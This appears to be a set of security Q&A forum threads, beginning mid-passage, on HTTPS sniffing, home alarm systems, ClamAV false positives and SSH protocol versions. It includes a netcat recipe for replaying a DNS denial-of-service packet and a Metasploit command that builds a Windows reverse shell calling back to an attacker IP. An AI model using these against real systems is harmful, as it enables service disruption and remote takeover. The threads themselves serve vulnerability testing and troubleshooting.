Kalina sends: I love you!
Simon sees: I love you!
Rory McCune sees: I love you!

Animation of Rory McCune's reaction after reading their messages

So, while it will not prevent packet sniffing when using properly-implemented HTTPS, it will prevent the attacker from understanding what you're talking about when they sniff the connection. Therefore, https should, generally speaking, protect your Buffalos from unauthorized Rorys.

Does that make sense? Check the github for this project. Keep in mind that client is all that's listed. I am unaware if they use a server end, but it doesn't look like it. Personally, I would be suspicious of such a program unless I had time to go through the entire code base.


how does your standard security system work? Do they have lasers motion sensors etc.. more looking for the type of security system you would see in a basic house not rich / well endowed one.

On the typical consumer-end, there are no lasers or microwave sensors. Look at what a starter security package includes, I'm sure lots of companies will be happy to explain to you what they offer if you call and ask. There's an increasing number of DIY solutions available, which run the gammut of complexity, but i think you're asking more about a typical alarm service, like Brinks or ADT.

Typically you can expect:

magnetic door open sensors on major egress points
PIR detectors in common areas, entryways, and high-value locations
a main control panel for setup/monitoring, by garage door or primary entrance
1-2 limited control panels for activation, panic, and monitoring
an outdoor siren to alert alarm activation to the public
a cellular modem to contact an alarm monitoring service
monitoring video cameras that can push to owner's phones ($$)
magnetic window open sensors and glass break sensors ($$$)


How to test CVE-2004-0789 Multiple Vendor DNS Response Flooding Denial Of Service? I use Nessus to check vulnerabilities on my webserver. It is a Windows Server. Nessus reports that this particular server has a CVE-2004-0789 vulnerability.

Here is the description from Nessus:

The remote DNS server is vulnerable to a denial of service attack because it replies to DNS responses.
An attacker could exploit this vulnerability by spoofing a DNS packet so that it appears to come from 127.0.0.1 and
make the remote DNS server enter into an infinite loop, therefore denying service to legitimate users.

How to check if this vulnerability really exists on my server? Is there any proof of concept about this?

[UPDATE: Some screenshot from Nessus' report]

The basic Nessus test appears to be replicable  by using a hex editor to create a response file ( I used the Nessus google example) and then sending that data to the target DNS server via netcat:

so:

 od -ah dns-response-dos.txt

0000000   `   x enq etx nul soh nul nul nul nul nul nul etx   w   w   w

f860    8385    0100    0000    0000    0000    7703    7777

0000020 ack   g   o   o   g   l   e etx   c   o   m nul nul dle nul soh

6706    6f6f    6c67    0365    6f63    006d    1000    0100

0000040

...and then:

cat dns-response-dos.txt | nc -u "target dns server"  53

`���wwwgooglecom^C

..produces a response.

Garbage data produces no response


sanesecurity - clamav - getting a false positive - should I bother? A client of mine reported that he isn't getting emails sent from our domain. This is offcourse a false positive, as we are a legitimate comapny. I am also not hearing this issue from other clients (we have over 25,000)

Some investigation shows that his email signatures are from a software called ClamAV - by http://www.sanesecurity.com/fps.htm

He claims it's a wide spread service in Europe (I am not familiar with it) - should I bother register my domain over the software vendor?

Is this locally to this client only?

Where can I start and search for a possible solution?

ClamAV is an opensource antivirus scanning engine: http://clamav.net/lang/en

Sanesecurity provide third party signature files for the ClamAV engine that are designed to catch phishing emails and other similar spam.

You should probably report false positives but only if you are sure that's the issue. He should be able to check his mail server logs to see that or given that Sanesecurity signatures are freely available to use, you could run the mails through the engine yourself.


Difference between sshv1 and 1.5? I've been searching for the answer to this but haven't had much luck.

What is the difference between SSH version 1 and 1.5? Is 1.5 a release of 1? As in 1.2, 1.3, 1.4, 1.5?

Are there any additional security features added to 1.5?

TIA any help much appreciated

There are essentially only two real versions of the SSH protocol, SSH-1 and SSH-2.

SSH-1
SSHv1 had several iterations.  Each iteration fixed certain security issues, but the protocol itself is vulnerable to several attacks.  It uses RSA to encrypt 32 bytes of session key.  It uses both the server's key and the host key; as in it RSA encrypts the session key twice.  I know this sounds weird, but this is what happens.  Then the session key is shared with the server.

This protocol has inherent known vulnerabilities.  SSHv1.5 is known to be vulnerable to injecting data into encrypted packets [1].  This is due to poor integrity checking using CRC32.  SSHv1 is also prone to Man in the Middle (MitM) attacks.  Here is a paper on the subject.

SSH-2
SSHv2 is a completely different protocol.  It uses an Ephemeral Diffie-Hellman exchange with proper integrity checks of the entire exchange.  The entire packet is encrypted, including any SSH header information.  Session keys are generated from hashing the session id, shared secret, and the hash of the exchange with an ASCII letter.  There is a different letter for each session key needed session key or initialization vector needed.

The vulnerabilities in SSHv2 have only been theoretical.  So far the protocol is known to be secure when implemented correctly.

SSH-1.99
This isn't actually a version of the protocol.  The first piece of data exchanged by the client and server is their protocol version in what's called a protocol string.  This is the only compatibility the two protocols share.  Examples of version strings

SSH-1.99-OpenSSH_2.5.2p2
SSH-2-OpenSSH_2.9p1

SSH-1.99 is only ever sent by a server and it's how the server tells the client that it supports both SSH-1 and SSH-2.

You should always use SSH-2.  SSH-1 is known to be insecure.  99% of servers out there support SSH-2, and no known vulnerabilities against it.


windows/shell_reverse_tcp exploit is not working if listener is not running already I am using Metasploit to generate a shell_reverse_tcp exploit using the following command:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.171 x > exploit.exe

On listener side I am using netcat.

Everything is perfect and if I run the listener first(nc -l -p 4444) and open the exploit.exe after that. But If my listener is not running and I run the exploit.exe, it starts and exits immediately. So if I run the exploit.exe first and start the listener after, it doesn't work. I've also tried ReverseConnectRetries but this is not working either.

So what is the problem?
Thanks for any answers.

If i run exploit.exe first and listener second then it doesn't work

Of course it won't, and that's what reverse_tcp means. The payload is reverse_tcp shell, it will start a connection from the victim to the attacker machine, so the listener must be up and running for accepting the connection.